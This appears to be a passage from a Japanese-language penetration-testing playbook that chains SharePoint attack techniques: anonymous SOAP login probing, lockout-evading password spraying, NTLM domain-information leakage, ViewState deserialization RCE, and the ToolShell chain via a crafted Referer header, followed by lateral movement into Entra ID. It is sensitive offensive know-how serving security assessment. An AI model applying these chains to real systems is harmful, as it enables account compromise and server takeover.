hunt-auth-bypass— 設定に問題のあるファームでは、レガシー SOAP/_vti_bin/Authentication.asmxが匿名の Login 呼び出しを受け付けます。チェーンのプリミティブ:SharePoint の匿名 SOAP ログインプローブ → 応答から Cookie が返される、または成功時の差異が確認された場合 →hunt-auth-bypassの総当たりマトリクス(タイミングを利用したユーザー名列挙、ADFS レベルのロックアウトを回避する同じ SOAP エンドポイントに対する低速のパスワードスプレー)→ 有効な認証情報 → 認証済みの/_layouts/15/サーフェス。hunt-ntlm-info— すべての SharePoint ファームは/_vti_bin/で匿名のWWW-Authenticate: NTLMを提示します。チェーンのプリミティブ:SharePoint NTLM Type-2 チャレンジの取得 →hunt-ntlm-infoによる AV_PAIR のデコードで NetBIOS ドメイン + 内部 DNS フォレスト + DC ホスト名を取得 → そのドメインに関連付けられたテナントでのm365-entra-attackROPC ユーザー列挙スプレーにドメインを渡す。hunt-aspnet— SharePoint の内部は ASP.NET Web Forms であるため、ViewState、machineKey、SafeControl のリフレクションがすべて適用されます。チェーンのプリミティブ:SharePoint のバージョン開示 → パッチが適用されていないことを確認 →hunt-aspnetの ViewState デュアルパーサー MAC バイパス → デシリアライズガジェット → ファームアカウントとしてw3wp.exeでの RCE。hunt-rce— ToolShell の前提条件チェーン(CVE-2025-53770)は、現在、影響の大きい SP RCE 経路です。チェーンのプリミティブ:ToolShell の前提条件を満たす(CVE-2025-49706 の認証バイパスを介して/_layouts/15/ToolPane.aspx?DisplayMode=Editにアクセス可能 — ToolPane.aspx を指す細工されたRefererヘッダー — +脆弱なバージョン)→hunt-rceのデシリアライズガジェットチェーン → SYSTEM/ファームアカウントのシェル → 盗んだオンプレミスのサービスアカウントトークンを使って、Entra と同期された ID へ横展開するm365-entra-attack。triage-validation— SharePoint ファームでは、「発見事項に見える」衛生面のノイズが大量に発生します(FormDigest の発行、バージョン開示、拡張機能ブロックリストの癖など)。チェーンのプリミティブ:報告前にすべての SP の発見事項を 7-Question Gate に通す — CVE の PoC を併用しないバージョン開示のみの発見事項の多くは、「このファームで実際に悪用可能か」の段階で除外されます。